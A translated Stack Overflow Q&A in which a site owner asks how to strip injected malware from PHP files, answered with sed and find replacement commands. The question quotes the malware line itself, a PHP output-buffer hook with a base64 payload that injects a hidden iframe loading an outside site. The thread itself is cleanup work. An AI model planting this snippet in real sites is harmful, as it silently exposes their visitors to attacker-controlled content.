regex - 如何通过 sed/perl 删除行同时保留某些字符?

标签 regex linux perl sed replace

我正在尝试对所有 .php 文件进行大量搜索并替换为以下字符串以清除恶意软件:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

我可以通过 sed '/buffer.base64_decode/d' file.php 删除整行.但是,我仍然需要开口 <?php

所以真正需要做的是搜索和替换buffer.base64_decode对于 <?php在这台邪恶的电脑前度过漫长的一天后,我的脑子里全是土 bean 泥。

或者也许我认为自己陷入了一个小盒子里,而我所做的一切都是错误的?

最佳答案

不是删除该行,您不是简单地更改它吗?以下是使用 GNU sed 的方法:

sed -i '/buffer.base64_decode/c \<?php ' file.php

现在对于您工作目录中的所有文件:

find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;

关于regex - 如何通过 sed/perl 删除行同时保留某些字符?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13041537/

相关文章:

linux - HAL - UDISKS,人类可读,在 bash 脚本中将字节转换为千兆字节

.NET RegEx "Memory Leak"调查

Python 正则表达式,用于空白行之前的所有内容

java - 我如何在java中分割我的输入值

javascript - 修改无效的javascript

perl - 使用 Perl PDL 旋转矩阵

android - 直接在移动网络上访问android应用程序端口

c++ - CMake:如何指定 "install"所依赖的目标?

perl - 从Unix域套接字读取一行

perl - 在Perl中扩展对象